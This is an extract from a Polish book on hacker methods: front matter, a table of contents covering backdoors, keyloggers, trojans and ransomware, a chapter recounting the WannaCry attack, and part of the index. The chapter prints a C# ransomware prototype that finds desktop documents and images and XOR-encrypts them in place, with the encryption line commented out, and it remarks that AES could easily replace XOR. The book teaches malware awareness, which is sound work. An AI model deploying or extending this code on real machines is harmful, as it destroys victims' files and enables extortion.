Post on 15-Mar-2021
Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.
Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.
Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.
Redaktor prowadzący: Małgorzata Kulik
Projekt okładki: Studio Gravite / OlsztynObarek, Pokoński, Pazdrijowski, Zaprucki
Grafika na okładce została wykorzystana za zgodą Shutterstock.com
Wydawnictwo HELION ul. Kościuszki 1c, 44-100 GLIWICE tel. 32 231 22 19, 32 230 98 63 e-mail: helion@helion.pl WWW: http://helion.pl (księgarnia internetowa, katalog książek)
Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/cyberwMożesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
ISBN: 978-83-283-4332-0
Copyright © Helion 2018
Printed in Poland.
• Kup książkę• Poleć książkę • Oceń książkę
• Księgarnia internetowa• Lubię to! » Nasza społeczność
Spis treściSłowem wstępu ................................................................................................. 11
Rozdział 1. Hacking — wprowadzenie ................................................................ 151.1. Na czym polega działalność hakerów ........................................................................ 151.2. Subkultura hakerów ..................................................................................................... 151.3. Wojna cybernetyczna .................................................................................................. 16
Rozdział 2. Pakiety MASM32 i MASM64 ................................................................ 172.1. Przygotowanie środowiska pracy MASM32 ............................................................. 17
2.1.1. Program „Witaj, 32-bitowy świecie!” ............................................................ 172.2. Przygotowanie środowiska pracy MASM64 ............................................................. 18
2.2.1. Program „Witaj, 64-bitowy świecie!” ............................................................ 21
Rozdział 3. Architektura procesorów z rodziny x86(-64) ........................................ 233.1. Organizacja pamięci ..................................................................................................... 233.2. Rejestry procesora ........................................................................................................ 263.3. Stos ................................................................................................................................. 383.4. Tryby pracy ................................................................................................................... 403.5. Tryby adresowania ....................................................................................................... 413.6. Zestawy instrukcji ........................................................................................................ 423.7. Format instrukcji procesora ....................................................................................... 45
3.7.1. Rozkodowanie instrukcji ................................................................................ 45
Rozdział 4. Architektura systemów z rodziny Windows NT ..................................... 494.1. Procesy i wątki .............................................................................................................. 494.2. Poziomy uprawnień ..................................................................................................... 524.3. Format plików wykonywalnych Portable Executable (PE/PE32+) ....................... 534.4. System plików ............................................................................................................... 55
4.4.1. Wybrane funkcje Windows API do operacji na plikach ............................ 55
Kup książkę Poleć książkę
4 Cyberwojna. Metody działania hakerów
4.5. Wiersz polecenia .......................................................................................................... 604.6. Windows PowerShell ................................................................................................... 60
4.6.1. Przykład. Liczenie linii, słów i znaków w plikach w określonymkatalogu ............................................................................................................. 61
Rozdział 5. Asembler x86(-64) — instrukcje ogólnego przeznaczenia .................... 635.1. Instrukcje transferu danych ........................................................................................ 63
5.1.1. Instrukcja MOV ............................................................................................... 635.1.2. Instrukcje kopiowania warunkowego CMOVcc ......................................... 645.1.3. Instrukcja XCHG ............................................................................................. 665.1.4. Instrukcja BSWAP ........................................................................................... 675.1.5. Instrukcja XADD ............................................................................................. 685.1.6. Instrukcja CMPXCHG .................................................................................... 695.1.7. Instrukcje CMPXCHG8B/CMPXCHG16B ................................................. 695.1.8. Instrukcja PUSH .............................................................................................. 705.1.9. Instrukcja POP ................................................................................................. 715.1.10. Instrukcje PUSHA/PUSHAD ........................................................................ 715.1.11. Instrukcje POPA/POPAD .............................................................................. 725.1.12. Instrukcje CWD/CDQ/CQO ......................................................................... 725.1.13. Instrukcje CBW/CWDE/CDQE .................................................................... 735.1.14. Instrukcja MOVSX/MOVSXD ...................................................................... 735.1.15. Instrukcja MOVZX ......................................................................................... 74
5.2. Instrukcje arytmetyczne .............................................................................................. 755.2.1. Instrukcja ADCX ............................................................................................. 755.2.2. Instrukcja ADOX ............................................................................................. 765.2.3. Instrukcja ADD ................................................................................................ 765.2.4. Instrukcja ADC ................................................................................................ 775.2.5. Instrukcja SUB ................................................................................................. 775.2.6. Instrukcja SBB .................................................................................................. 785.2.7. Instrukcja IMUL .............................................................................................. 795.2.8. Instrukcja MUL ................................................................................................ 795.2.9. Instrukcja IDIV ................................................................................................ 805.2.10. Instrukcja DIV ................................................................................................. 805.2.11. Instrukcja INC .................................................................................................. 815.2.12. Instrukcja DEC ................................................................................................. 815.2.13. Instrukcja NEG ................................................................................................ 815.2.14. Instrukcja CMP ................................................................................................ 82
5.3. Instrukcje logiczne ....................................................................................................... 825.3.1. Instrukcja AND ................................................................................................ 825.3.2. Instrukcja OR ................................................................................................... 82
Kup książkę Poleć książkę
Spis treści 5
5.3.3. Instrukcja XOR ................................................................................................ 835.3.4. Instrukcja NOT ................................................................................................ 83
5.4. Instrukcje przesunięć i obrotów ................................................................................. 845.4.1. Instrukcje SAL/SHL ......................................................................................... 845.4.2. Instrukcja SAR ................................................................................................. 855.4.3. Instrukcja SHR ................................................................................................. 855.4.4. Instrukcja RCL ................................................................................................. 865.4.5. Instrukcja RCR ................................................................................................. 875.4.6. Instrukcja ROL ................................................................................................. 885.4.7. Instrukcja ROR ................................................................................................. 895.4.8. Instrukcja SHRD .............................................................................................. 895.4.9. Instrukcja SHLD .............................................................................................. 90
5.5. Instrukcje do operacji na bitach i bajtach ................................................................. 915.5.1. Instrukcja BT .................................................................................................... 915.5.2. Instrukcja BTS .................................................................................................. 925.5.3. Instrukcja BTR ................................................................................................. 925.5.4. Instrukcja BTC ................................................................................................. 925.5.5. Instrukcja BSF .................................................................................................. 935.5.6. Instrukcja BSR .................................................................................................. 935.5.7. Instrukcje SETcc .............................................................................................. 945.5.8. Instrukcja TEST ............................................................................................... 965.5.9. Instrukcja CRC32 ............................................................................................ 965.5.10. Instrukcja POPCNT ........................................................................................ 97
5.6. Instrukcje manipulacji bitowych ................................................................................ 975.6.1. Instrukcja ANDN ............................................................................................ 975.6.2. Instrukcja BEXTR ............................................................................................ 975.6.3. Instrukcja BLSI ................................................................................................. 985.6.4. Instrukcja BLSMSK ......................................................................................... 985.6.5. Instrukcja BLSR ............................................................................................... 995.6.6. Instrukcja BZHI ............................................................................................... 995.6.7. Instrukcja LZCNT ........................................................................................... 995.6.8. Instrukcja MULX ........................................................................................... 1005.6.9. Instrukcja PDEP ............................................................................................. 1005.6.10. Instrukcja PEXT ............................................................................................. 1015.6.11. Instrukcja RORX ............................................................................................ 1015.6.12. Instrukcje SARX, SHLX, SHRX ................................................................... 1025.6.13. Instrukcja TZCNT ......................................................................................... 102
5.7. Instrukcje kontroli przepływu .................................................................................. 1035.7.1. Instrukcja JMP ............................................................................................... 1035.7.2. Instrukcje Jcc .................................................................................................. 103
Kup książkę Poleć książkę
6 Cyberwojna. Metody działania hakerów
5.7.3. Instrukcje LOOP/LOOPcc .......................................................................... 1055.7.4. Instrukcja CALL ............................................................................................. 1065.7.5. Instrukcja RET ............................................................................................... 106
5.8. Instrukcje do operacji na napisach .......................................................................... 1065.8.1. Instrukcje MOVS* ......................................................................................... 1065.8.2. Instrukcje CMPS* .......................................................................................... 1075.8.3. Instrukcje LODS* ........................................................................................... 1085.8.4. Instrukcje STOS* ........................................................................................... 1095.8.5. Instrukcje SCAS* ........................................................................................... 110
5.9. Instrukcje wejścia/wyjścia ......................................................................................... 1115.9.1. Instrukcja IN .................................................................................................. 1115.9.2. Instrukcja OUT .............................................................................................. 1115.9.3. Instrukcje INS* ............................................................................................... 1115.9.4. Instrukcje OUTS* .......................................................................................... 112
5.10. Instrukcje kontroli flag .............................................................................................. 1125.11. Instrukcje różne .......................................................................................................... 113
5.11.1. Instrukcja LEA ............................................................................................... 1135.11.2. Instrukcja NOP .............................................................................................. 1135.11.3. Instrukcja UD2 ............................................................................................... 1135.11.4. Instrukcja CPUID .......................................................................................... 1145.11.5. Instrukcja MOVBE ........................................................................................ 114
Rozdział 6. Asembler x86(-64) — zrozumieć język wirusów ................................. 1156.1. Struktura programu MASM64 ................................................................................. 1156.2. Zmienne i stałe ........................................................................................................... 115
6.2.1. Stałe .................................................................................................................. 1166.2.2. Zmienne o rozmiarze bajta lub ciągu bajtów ............................................. 1166.2.3. Zmienne o rozmiarze słowa (ang. word) .................................................... 1166.2.4. Zmienne o rozmiarze podwójnego słowa (ang. doubleword) ................. 1166.2.5. Zmienne o rozmiarze poczwórnego słowa (ang. quadword) .................. 1176.2.6. Zmienne o rozmiarze 6 bajtów .................................................................... 1176.2.7. Zmienne o rozmiarze 10 bajtów .................................................................. 1176.2.8. Zmienne o rozmiarze 16 bajtów .................................................................. 1176.2.9. Zmienne do przechowywania liczb zmiennoprzecinkowych .................. 1176.2.10. Zmienne używane przy instrukcjach rozszerzeń MMX i SSE ................. 118
6.3. Adresowanie argumentów ........................................................................................ 1186.3.1. Operator offset ............................................................................................... 1186.3.2. Instrukcja LEA ............................................................................................... 1196.3.3. Dereferencja (operator [ ]) ........................................................................... 119
Kup książkę Poleć książkę
Spis treści 7
6.4. Wywoływanie funkcji Windows API ...................................................................... 1206.5. Program not-virus.CDJoke.Win64 .......................................................................... 1216.6. Program not-virus.MonitorOFF.Win64 ................................................................. 1226.7. Program TrojanBanker.AsmKlip.Win64 ................................................................ 1246.8. Program BitcoinStealer.AsmKlip.Win64 ................................................................ 128
Rozdział 7. Backdoor — tylne drzwi do systemu ................................................ 1357.1. Backdoor w języku C# dla pulpitu Windows ......................................................... 136
7.1.1. Panel kontrolny .............................................................................................. 1367.1.2. Program infekujący ....................................................................................... 1407.1.3. Podsumowanie ............................................................................................... 146
7.2. Hybrydowy backdoor w 7 kilobajtach ..................................................................... 1477.2.1. Połączenie odwrotne (ang. reverse connection) ........................................ 1477.2.2. Panel kontrolny .............................................................................................. 1487.2.3. Program infekujący ....................................................................................... 155
Rozdział 8. Wirus komputerowy — infekcja plików ............................................ 1638.1. Informacje ogólne ...................................................................................................... 1638.2. Infekcja plików wykonywalnych .............................................................................. 164
8.2.1. Dołączanie kodu wirusa do pliku wykonywalnego ................................... 1688.2.2. Tworzenie „ładunku”, którym będą infekowane pliki .............................. 1728.2.3. Payload Detonator — aplikacja do testowania kodu typu payload
i shellcode ........................................................................................................ 175
Rozdział 9. File Binder — złośliwy kod „doklejony” do pliku ............................... 1779.1. Ukrywanie plików w zasobach programu .............................................................. 1779.2. Implementacja podstawowej funkcjonalności aplikacji Stub .............................. 178
Rozdział 10. Keylogger — monitoring działań w systemie .................................. 18510.1. Funkcja SetWindowsHookEx ................................................................................... 18510.2. Monitorowanie wciskanych klawiszy w 4 kilobajtach .......................................... 18710.3. Pobieranie nazwy aktywnego okna .......................................................................... 19310.4. Przesyłanie raportów ................................................................................................. 195
Rozdział 11. Ransomware — szantażowanie użytkownika ................................. 19911.1. Ogólna zasada działania ............................................................................................ 19911.2. Atak WannaCry — paraliż ponad 200 tys. komputerów ...................................... 19911.3. Każdy może stworzyć ransomware .......................................................................... 201
Kup książkę Poleć książkę
8 Cyberwojna. Metody działania hakerów
Rozdział 12. Koń trojański — zdalne sterowanie zainfekowanym komputerem ... 20512.1. Trochę historii ............................................................................................................ 205
12.1.1. Najpopularniejsze konie trojańskie z lat 1990 – 2010 stworzonew Polsce ........................................................................................................... 205
12.2. Pobieranie informacji o systemie ............................................................................. 20812.3. Zdalny menedżer plików ........................................................................................... 209
12.3.1. Listowanie, usuwanie i uruchamianie plików ............................................ 21012.3.2. Przesyłanie plików przez gniazdo ................................................................ 211
12.4. Podgląd kamerki internetowej ................................................................................. 21312.5. Zrzuty ekranu (ang. screenshots) ............................................................................. 21612.6. Dodatkowe funkcjonalności ..................................................................................... 217
Rozdział 13. Pozostałe zagrożenia .................................................................... 21913.1. Adware — niechciane reklamy ................................................................................. 21913.2. Bakteria komputerowa — replikacja aż do wyczerpania zasobów ...................... 22013.3. Bomba logiczna — uruchamianie złośliwego kodu po spełnieniu warunku ..... 22013.4. Botnet — sieć komputerów zombie ......................................................................... 22213.5. Chargeware — ukryte opłaty i niejasny regulamin ............................................... 22213.6. Exploit — użycie błędu w oprogramowaniu .......................................................... 22313.7. Form Grabber — przechwytywanie danych z formularzy ................................... 22413.8. Hoax — fałszywy alarm ............................................................................................. 22513.9. Robak — rozprzestrzenianie infekcji bez nosiciela ............................................... 225
13.10. Rootkit — intruz ukryty w systemie ........................................................................ 22513.11. Stealer — wykradanie poufnych informacji ........................................................... 226
Rozdział 14. Bezpieczeństwo systemów Microsoft Windows ............................... 22914.1. Program antywirusowy ............................................................................................. 22914.2. Zapora ogniowa (ang. firewall) ................................................................................ 23014.3. Maszyna wirtualna ..................................................................................................... 23114.4. Konfiguracja systemu Windows zwiększająca bezpieczeństwo ........................... 23314.5. Podstawowe narzędzia systemowe .......................................................................... 23414.6. Bezpieczeństwo danych ............................................................................................. 235
14.6.1. VPN — wirtualna sieć prywatna ................................................................. 23514.6.2. Projekt Tor i przeglądarka Tor Browser ..................................................... 23514.6.3. GNU Privacy Guard ...................................................................................... 23614.6.4. Komunikacja Off-The-Record (OTR) ........................................................ 23714.6.5. Szyfrowanie nośników z danymi ................................................................. 23814.6.6. Zdjęcia i metadane EXIF ............................................................................... 239
Kup książkę Poleć książkę
Spis treści 9
14.7. Bezpieczeństwo haseł ................................................................................................. 24114.7.1. Tworzenie bezpiecznego hasła ..................................................................... 24114.7.2. Łamanie haseł do archiwum RAR, ZIP i innych ....................................... 24214.7.3. Łamanie haseł do portali internetowych .................................................... 24214.7.4. Phishing — „Haseł się nie łamie, hasła się wykrada” ............................... 243
Rozdział 15. Bezpieczeństwo oprogramowania — wprowadzenie ...................... 24515.1. Inżynieria odwrotna kodu (ang. Reverse Code Engineering) .............................. 24515.2. Subkultura crackerów ................................................................................................ 24615.3. Rodzaje zabezpieczeń w programach ...................................................................... 24715.4. Przegląd przydatnych narzędzi ................................................................................ 24815.5. Legalny cracking — aplikacje typu CrackMe ......................................................... 249
15.5.1. Programowanie aplikacji typu CrackMe .................................................... 24915.5.2. Analiza i łamanie wcześniej utworzonego CrackMe ................................ 25015.5.3. Tworzenie aplikacji usuwającej zabezpieczenie, tzw. crack ..................... 25015.5.4. Dalsza nauka ................................................................................................... 252
15.6. Podstawowe zasady analizy złośliwego oprogramowania .................................... 252
Rozdział 16. Z pamiętnika hakera ..................................................................... 25516.1. „Skryptowy dzieciak” czy polityczny żołnierz .......................................................... 25516.2. W schizofrenii się nie kradnie .................................................................................. 256
Podsumowując ........................................................................................................... 258
Rozdział 17. Zakończenie ................................................................................. 25917.1. Podsumowanie ........................................................................................................... 259
Dodatek A Najczęściej używane funkcje logiczne .............................................. 261
Dodatek B Leksykon pojęć używanych przez hakerów ....................................... 263
Dodatek C Aplikacja kopiująca samą siebie do systemu— kod źródłowy (MASM64) ............................................................ 267
Dodatek D Ochrona klucza w rejestrze przed manualnym usunięciem— kod źródłowy (MASM64) ............................................................ 271
Dodatek E Opóźnione uruchomienie (ang. delayed start)— kod źródłowy (MASM64) ............................................................ 275
Skorowidz ....................................................................................................... 277
Kup książkę Poleć książkę
10 Cyberwojna. Metody działania hakerów
Kup książkę Poleć książkę
Rozdział 11.
Ransomware— szantażowanieużytkownika
11.1. Ogólna zasada działaniaZłośliwe oprogramowanie typu ransomware jest rozpowszechniane w celu wymuszeniaokupu od użytkownika. Program tego typu blokuje dostęp do komputera. Najczęściej szy-fruje pliki, ale może też zablokować pulpit. Nazwa jest połączeniem dwóch słów z językaangielskiego: ransom — okup, ware — od słowa software. W ataku tego typu opróczstworzenia złośliwego programu ważne są też umiejętności socjotechniczne. Z tego powoduspotyka się bardzo różne komunikaty o treści, która ma na celu nakłonienie użytkownikado zapłaty, grożąc poważnymi konsekwencjami. Na przestrzeni czasu pojawiały się komu-nikaty informujące, że użytkownik musi zapłacić karę za posiadanie nielegalnych plikówalbo że dostał mandat, a nawet informacje, że system jest nieaktywowany i musi kupićnowy klucz. Istnieją również bardziej bezpośrednie ataki informujące, co naprawdę sięstało, w stylu: „Zaszyfrowaliśmy twoje pliki i żądamy pieniędzy. Zapłać, a odzyskasz dostępdo plików”. Wielu ekspertów od bezpieczeństwa odradza płacenie, gdyż tak naprawdęjest bardzo mała szansa na odzyskanie plików.
11.2. Atak WannaCry— paraliż ponad 200 tys. komputerówW maju 2017 roku nastąpił rozległy atak robaka WannaCry i w konsekwencji paraliżponad 200 tysięcy komputerów w około 150 krajach świata. Na rysunku 11.1 przedsta-wiono zainfekowany telebim w Tajlandii.
Kup książkę Poleć książkę
200 Cyberwojna. Metody działania hakerów
RYSUNEK 11.1. Ekran zainfekowanej maszyny w Tajlandii (fotografia: @ALiCE6TY9)
Skuteczność każdego ataku złośliwego oprogramowania zależna jest od sposobu rozprze-strzeniania. Atakujący poszli na bardzo dużą skalę, gdyż wykorzystali lukę w protokoleSMB (ang. Server Message Block) w systemach Microsoft Windows. Po infekcji jednegokomputera w sieci robak rozprzestrzeniał się dalej za pomocą właśnie tej luki w zabez-pieczeniach. Dlatego nie trzeba nikomu udowadniać, jak groźne są programy typu exploit,których zadaniem jest wykorzystanie błędu w oprogramowaniu do uruchomienia złośli-wego kodu. To nie jest działanie typu: wyślę do wielu firm wiadomości e-mail z linkiemdo pobrania programu, który jest ukrytym wirusem. Atak WannaCry był jak plaga i siałmasowe spustoszenie.
Skoro do ataku użyty został błąd w oprogramowaniu, to znaczy, że wiele osób nie aktu-alizowało swojego systemu. Niektórzy do pewnego czasu nie mieli nawet możliwościaktualizacji. Było tak w sytuacji korzystania z Microsoft Windows XP, który nie jest jużwspierany przez producenta. Jednak z powodu dalszego używania tej wersji systemu Win-dows firma Microsoft wypuściła poprawkę dla tego systemu.
Po pewnym czasie udało się zatrzymać rozprzestrzenianie robaka. Złośliwy program posia-dał ukryty wyłącznik, który polegał na próbie połączenia się z domeną iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. W przypadku udanego połączenia się z wyżej wymie-nioną domeną robak zatrzymywał dalsze atakowanie. Mechanizm wyłączający dalsze infe-kowanie odkrył Darien Huss (https://twitter.com/darienhuss), który przekazał informa-cję dalej.
Zarejestrowanie wyżej wymienionej domeny spowodowało, że ataki robaka WannaCryzostały zatrzymane.
Kup książkę Poleć książkę
Rozdział 11. Ransomware — szantażowanie użytkownika 201
11.3. Każdy może stworzyć ransomwarePo przeczytaniu wcześniej przedstawionego opisu masowego ataku robaka WannaCrywidać, jak bardzo niebezpiecznym rodzajem złośliwego oprogramowanie jest aplikacja typuransomware.
Wiele osób nie chciałoby, aby tytuł tego podrozdziału był prawdą, ale jest jak najbardziejprawdziwy. Nie trzeba być programistą, nie trzeba być hakerem, nie trzeba umieć dobrzeprogramować, by stworzyć niebezpieczną aplikację. Bardzo prosty program tego typuprzedstawia listing 11.1. Jest on napisany w C# przy użyciu środowiska Microsoft VisualStudio.
LISTING 11.1. Prototyp aplikacji typu ransomware w języku C#
// Metoda wyszukuje pliki na pulpicie według podanego wzorcaprivate static IEnumerable<string> SearchForFiles(string pattern){ // Pobierz ścieżkę do pulpitu var desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
// Wyszukaj pliki w katalogu i podkatalogach return Directory.GetFiles(desktopPath, pattern, SearchOption.AllDirectories).AsEnumerable();}
// Szyfrowanie XOR ze stałym kluczemprivate static void EncryptFile(string path){ // Odczytaj bajty pliku var bytes = File.ReadAllBytes(path);
// Wykonaj alternatywę wykluczającą (XOR) na każdym bajcie (klucz to liczba 7) for(int i = 0; i < bytes.LongCount(); i++) { bytes[i] = (byte)(bytes[i] ^ 7); }
// Nadpisz plik jego zaszyfrowanym odpowiednikiem File.WriteAllBytes(path, bytes);}
// Metoda zdarzenia, które jest wykonywane przy ładowaniu okna programu (zaraz przy starcie aplikacji)private void Form1_Load(object sender, EventArgs e){ // Wzory nazw plików do wyszukania i zaszyfrowania var patterns = new List<string>() { "*.doc*", "*.xls*", "*.pdf", "*.txt", "*.jpg", "*.jpeg", "*.png", "*.psd", "*.zip", "*.rar", "*.7z"
Kup książkę Poleć książkę
202 Cyberwojna. Metody działania hakerów
};
// Utwórz listę, która będzie zawierać ścieżki do plików var allFiles = new List<string>();
// Wyszukaj pliki, iterując po każdym z wzorców foreach (var pattern in patterns) { allFiles.AddRange(SearchForFiles(pattern)); }
// Dodaj kolumnę do kontrolki ListView listViewFiles.Columns.Add("Ścieżka do pliku", 600);
foreach (var filePath in allFiles) { //EncryptFile(filePath); // Zaszyfruj plik (usunięcie znaków komentarza grozi utratą danych // po uruchomieniu kodu!) listViewFiles.Items.Add(filePath); // Dodaj ścieżkę pliku do kontrolki ListView }
// Ustaw na kontrolce Label komunikat ostrzegawczy label2.Text = "Plików, które mogłeś utracić jest " +allFiles.LongCount().ToString() + ". Oto ich lista:";}
Przykładowy interfejs dla aplikacji z listingu 11.1 przedstawia rysunek 11.2.
Na pewno wiele osób powie, że program z listingu 11.1 nie jest bardzo szkodliwy. Oczy-wiście, że brakuje mu trochę do bycia prawdziwym i groźnym malware, ale już tak pro-sta aplikacja może wyrządzić szkody na komputerze, na którym zostanie uruchomiona.Zastosowane szyfrowanie (o ile można tak to nazwać, gdyż jest to zwykła operacja logiczna)jest odwracalne. Ponowne wykonanie operacji alternatywy wykluczającej (XOR) na tychsamych bajtach przywróci im poprzednie wartości. Ale potencjalnemu przestępcy wcalenie będzie trudno zamienić szyfrowania na AES lub inny bardzo trudny do złamania algo-rytm. Do tego wielokrotne nadpisywanie szyfrowanych plików i odzyskanie danych jestpraktycznie niemożliwe.
Podsumowując, warto dodać dla przestrogi, że atak przeciwko ochronie informacji jestsurowo karany i opisuje to artykuł 268 i 268a Kodeksu karnego1, który brzmi:
Art. 268§ 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub zmieniazapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia osobieuprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia wolnościalbo pozbawienia wolności do lat 2.
1 statystyka.policja.pl, Udaremnienie lub utrudnienie korzystania z informacji, http://statystyka.policja.
pl/st/kodeks-karny/przestepstwa-przeciwko-14/63626,Udaremnienie-lub-utrudnienie-korzystania-z-informacji-art-268-i-268a.html
Kup książkę Poleć książkę
Rozdział 11. Ransomware — szantażowanie użytkownika 203
RYSUNEK 11.2. Interfejs prototypu aplikacji typu ransomware dla celów ostrzegawczych
§ 2. Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych,sprawca podlega karze pozbawienia wolności do lat 3.
§ 3. Kto, dopuszczając się czynu określonego w § 1 lub 2, wyrządza znaczną szkodęmajątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
§ 4. Ściganie przestępstwa określonego w § 1 – 3 następuje na wniosek pokrzywdzonego.
Art. 268a§ 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa, zmienialub utrudnia dostęp do danych informatycznych albo w istotnym stopniu zakłócalub uniemożliwia automatyczne przetwarzanie, gromadzenie lub przekazywanietakich danych, podlega karze pozbawienia wolności do lat 3.
§ 2. Kto, dopuszczając się czynu określonego w § 1, wyrządza znaczną szkodęmajątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
§ 3. Ściganie przestępstwa określonego w § 1 lub 2 następuje na wniosekpokrzywdzonego.
Kup książkę Poleć książkę
204 Cyberwojna. Metody działania hakerów
Kup książkę Poleć książkę
SkorowidzA
Address Space Layout Randomization, Patrz:pamięć losowa organizacja przestrzeniadresowej
adware, 219, 234akumulator, 28algorytm wzajemnego wykluczania, 49Alignment Check Flag, Patrz: flaga sprawdzenia
wyrównaniaanaliza heurystyczna, 230aplikacja
BitcoinStealer.AsmKlip.Win64, 128bot, 136CrackMe, 246, 249dla pulpitu, 135GNU Privacy Guard, 236GPG, 236infekująca, 211instancja, Patrz: instancja, procesinternetowa, 135not-virus.CDJoke.Win64, 121not-virus.MonitorOFF.Win64, 122serwera, 140Stub, 177, 178szyfrująca, 195TrojanBanker.AsmKlip.Win64, 124
atakBrute Force Attack, 238, 241, 242Cold Boot, 238DDoS, 16, 222Dictionary Attack, 241, 242Evil Maid, 238odmowy usługi, Patrz: atak DDoSsiłowy, 238, 241, 242słownikowy, 241, 242WannaCry, 199, 200
autoryzacja, 237Auxiliary Carry Flag, Patrz: flaga
przeniesienia pomocniczego
Bbackdoor, 135, 136bajt
kolejność, 67ModR/M, 46SIB, 46
bakteria komputerowa, 220Base Pointer, Patrz: wskaźnik bazowybezpieczeństwo, 233, 234biblioteka
AForge, 213DLL, 53HAL.DLL, 53kernel32.lib, 19mooftpserv, 212mspdbcore.dll, 18, 19mspdbst.dll, 18, 19User32.lib, 19
bomba logiczna, 220botnet, 222
CC&C, 222cache, Patrz: pamięć podręcznaCarry Flag, Patrz: flaga przeniesieniachargeware, 222Command and Control, 222Command line, Patrz: wiersz poleceniaCompatibility Mode, Patrz: tryb
kompatybilnościcomputer bacterium, Patrz: bakteria
komputerowa
Kup książkę Poleć książkę
278 Cyberwojna. Metody działania hakerów
computer worm, Patrz: robak komputerowycrack, 246, 250cyberwojna, 16
Ddane binarne surowe, 177Debug Register, Patrz: rejestr odpluskwianiadebugger, 245debugging, Patrz: odpluskwianiedekompilator, 246, 248delayed start, Patrz: kod opóźnione
uruchomieniedeniability, Patrz: zaprzeczalnośćdereferencja, 119Descriptor Table Register, Patrz: rejestr
tablicy deskryptorówdesktop application, Patrz: aplikacja dla
pulpituDirection Flag, Patrz: flaga kierunkudisassembler, 245, 248Distributed Denial of Service, Patrz: atak DDoSdopełnienie zerami, 26dyrektywa
byte, 116extrn, 21fword, 117qword, 117real10, 117real4, 117real8, 117tbyte, 117
Eedytor notepad++, 20Entry Point, Patrz: punkt wejściaescape opcode, Patrz: opkod ucieczkiescape sequence, Patrz: sekwencja ucieczkietykieta, 103EXIF, 239exploi, 16exploit, 172, 200, 205, 223
zabezpieczenia, 223, 224
Ffirewall, 230flaga
identyfikacji właściwości procesora, 30kierunku, 37, 112
oczekującego przerwania wirtualnego, 30parzystości, 33, 66przeniesienia, 31, 65, 66, 77, 78, 112przeniesienia pomocniczego, 34przepełnienia, 32, 65, 66przerwania, 29, 30, 112przerwania wirtualnego, 30pułapki debugera, 29sprawdzenia wyrównania, 30statusu, 30trybu Virtual-8086, 30wznowienia, 30zadania zagnieżdżonego, 30zerowa, 34, 65, 69znaku, 36, 65, 66
Flags Register, Patrz: rejestr znacznikówForm Grabbing, 224format
EXIF, 239PE, 53, 168RAR, 242ZIP, 242
funkcjaCloseHandle, 59CreateFile, 55ExitProcess, 21GetClassNameA, 193GetForegroundWindow, 193GetTickCount64, 208GetWindowTextA, 193logiczna, 261MessageBoxA, 21, 120ochrony klucza w rejestrze, 271ReadFile, 59ReadFileEx, 59SetFilePointer, 57SetWindowsHookEx, 186ShellExecute, 180SizeofResource, 180WriteFile, 58WriteFileEx, 58
GGeneral Purpose Register, Patrz: rejestr
ogólnego przeznaczeniagenerator kluczy, 246GPR, Patrz: rejestr ogólnego przeznaczenia
Kup książkę Poleć książkę
Skorowidz 279
Hhacking, 15, 259haker, 15Hardware Abstraction Layer, Patrz: warstwa
abstrakcji sprzętowejhasło, 241, 242Hoax, 225hook, Patrz: podpięcie
II/O Privilege Level Field, Patrz: pole poziomu
przywilejów wejścia/wyjściainstancja, 49instant messaging, Patrz: konwersacja
błyskawicznaInstruction Pointer, Patrz: wskaźnik instrukcjiinstrukcja
ADC, 77ADCX, 76ADD, 76ADOX, 76AND, 31, 82ANDN, 97BEXTR, 97BLSI, 98BLSMSK, 98BLSR, 99BSF, 93BSR, 93BSWAP, 67BT, 31, 91BTC, 31, 92BTR, 92BTS, 92BZHI, 99CALL, 30, 38, 106CBW, 73CDQ, 72CDQE, 73CLC, 31, 112CLD, 37, 112CLI, 112CMC, 112CMOVcc, 64CMP, 34, 82CMPS, 107CMPSx, 37
CMPXCHG, 69CMPXCHG16B, 70CMPXCHG8B, 69CPUID, 30, 42, 114CQO, 72, 73CRC32, 96CWD, 72CWDE, 73DEC, 81DIV, 80format, 45IDIV, 80IMUL, 79IN, 111INC, 81INS, 111INSx, 37INTn, 30IRET, 30Jcc, 103JMP, 30, 103kontroli flag, 112LAHF, 112LEA, 119LODS, 108LODSx, 37logiczna, 31, 82LOOP, 105LOOPcc, 105LZCNT, 99mnemonik, 45MOV, 63MOVBE, 114MOVS, 106MOVSx, 37MOVSX, 73MOVSXD, 73, 74MOVZX, 74MUL, 79MULX, 100NEG, 81NOP, 113NOT, 83OR, 31, 82OUT, 111OUTS, 112OUTSx, 37
Kup książkę Poleć książkę
280 Cyberwojna. Metody działania hakerów
instrukcjaPDEP, 100PEXT, 101POP, 38, 71POPA, 72POPAD, 72POPCNT, 97POPF, 112POPFD, 112POPFQ, 112PUSH, 38, 39, 70PUSHA, 71PUSHF, 112PUSHFD, 112PUSHFQ, 112RCL, 86RCR, 87RET, 38ROL, 88ROR, 89RORX, 101rozszerzenie, 42SAHF, 112SAL, 84SAR, 85SARX, 102SBB, 78SCAS, 110SCASx, 37SETcc, 94SHL, 84SHLD, 90SHLX, 102SHR, 85SHRD, 89SHRX, 102STC, 31, 112STD, 37, 112STI, 112STOS, 109STOSx, 37SUB, 77SUB RSP, 39SYSCALL, 53SYSENTER, 53SYSEXIT, 53TEST, 34, 96
TZCNT, 102UD2, 113XADD, 68XCHG, 66, 68XOR, 31, 83zestaw, 42
